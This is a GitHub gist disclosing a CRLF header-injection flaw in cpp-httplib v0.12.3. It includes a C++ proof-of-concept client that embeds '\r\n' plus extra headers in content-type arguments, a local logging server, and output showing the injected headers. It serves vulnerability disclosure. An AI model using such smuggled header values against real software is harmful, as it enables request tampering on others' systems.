Skip to content

Instantly share code, notes, and snippets.

@dellalibera
Created May 16, 2023 09:27
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dellalibera/094aece17a86069a7d27f93c8aba2280 to your computer and use it in GitHub Desktop.
Save dellalibera/094aece17a86069a7d27f93c8aba2280 to your computer and use it in GitHub Desktop.
CRLF Injection in cpp-httplib@v0.12.3

Information

Project: cpp-httplib

Tested Version: v0.12.3 (commit f977558a28d6db893cf42131c33d025fa17458e1)

Github Repository: https://github.com/yhirose/cpp-httplib

Details

cpp-httplib is vulnerable to CRLF Injection when untrusted user input is used to set the content-type header in the HTTP .Patch, .Post, .Put and .Delete requests. An attacker can add the \r\n (carriage return line feeds) characters and inject additional headers in the request sent.

The fix introduced here (https://github.com/yhirose/cpp-httplib/commit/85327e19ae7e72028c30917247238d638ce56d0b) to check for CRLF characters is applied in the Request::set_header method but not in the following places:

More reference about this vulnerability and its impact:

Reference to similar issues affecting other projects:

PoC

  • download the project and extract in a folder
  • in the same folder of the downloaded project, create a server to log incoming requests and print headers:
g++ server_log.cpp -o server_log 
./server_log
  • in the same folder of the downloaded project, create a client with headers containing CRLF sequences (in the PoC below the additional header evilX: helloX is sent):
g++ client.cpp -o client 
./client

Server output:

================================
POST HTTP/1.1 /test1
Accept: */*
Connection: close
Content-Length: 3
Content-Type: application/x-www-form-urlencoded
evil1: hello1
Host: 0.0.0.0:8080
LOCAL_ADDR: 127.0.0.1
LOCAL_PORT: 8080
REMOTE_ADDR: 127.0.0.1
REMOTE_PORT: 50972
User-Agent: cpp-httplib/0.12.3
================================
DELETE HTTP/1.1 /test2
Accept: */*
Connection: close
Content-Length: 3
Content-Type: text/plain
evil2: hello2
Host: 0.0.0.0:8080
LOCAL_ADDR: 127.0.0.1
LOCAL_PORT: 8080
REMOTE_ADDR: 127.0.0.1
REMOTE_PORT: 50982
User-Agent: cpp-httplib/0.12.3
================================
PUT HTTP/1.1 /test3
Accept: */*
Connection: close
Content-Length: 4
Content-Type: text/plain
evil3: hello3
Host: 0.0.0.0:8080
LOCAL_ADDR: 127.0.0.1
LOCAL_PORT: 8080
REMOTE_ADDR: 127.0.0.1
REMOTE_PORT: 50984
User-Agent: cpp-httplib/0.12.3
================================
PATCH HTTP/1.1 /test4
Accept: */*
Connection: close
Content-Length: 7
Content-Type: text/plain
evil4: hello4
Host: 0.0.0.0:8080
LOCAL_ADDR: 127.0.0.1
LOCAL_PORT: 8080
REMOTE_ADDR: 127.0.0.1
REMOTE_PORT: 50988
User-Agent: cpp-httplib/0.12.3

Impact

If untrusted user input is placed in header values, a malicious user could inject additional headers. It can lead to logical errors and other misbehaviours.

Author

Alessio Della Libera

#include "./httplib.h"
int main(void)
{
httplib::Client cli("0.0.0.0", 8080);
cli.Post("/test1", "A=B", "application/x-www-form-urlencoded\r\nevil1: hello1");
cli.Delete("/test2", "A=B", "text/plain\r\nevil2: hello2");
cli.Put("/test3", "text", "text/plain\r\nevil3: hello3");
cli.Patch("/test4", "content", "text/plain\r\nevil4: hello4");
}
#include "./httplib.h"
#include <iostream>
#include <stdlib.h>
using namespace std;
using namespace httplib;
string dump_headers(const Headers &headers) {
string s;
char buf[BUFSIZ];
for (const auto &x : headers) {
snprintf(buf, sizeof(buf), "%s: %s\n", x.first.c_str(), x.second.c_str());
s += buf;
}
return s;
}
string log(const Request &req, const Response &res) {
string s;
char buf[BUFSIZ];
s += "================================\n";
snprintf(buf, sizeof(buf), "%s %s %s\n", req.method.c_str(), req.version.c_str(), req.path.c_str());
s += buf;
s += dump_headers(req.headers);
return s;
}
int main(void)
{
Server svr;
svr.Post("/test1", [](const Request &req, Response &res) {
res.set_content("Hello 1", "text/plain");
});
svr.Delete("/test2", [](const Request &req, Response &res) {
res.set_content("Hello 2", "text/plain");
});
svr.Put("/test3", [](const Request &req, Response &res) {
res.set_content("Hello 3", "text/plain");
});
svr.Patch("/test4", [](const Request &req, Response &res) {
res.set_content("Hello 4", "text/plain");
});
svr.set_logger([](const Request &req, const Response &res) {
cout << log(req, res);
});
svr.listen("localhost", 8080);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment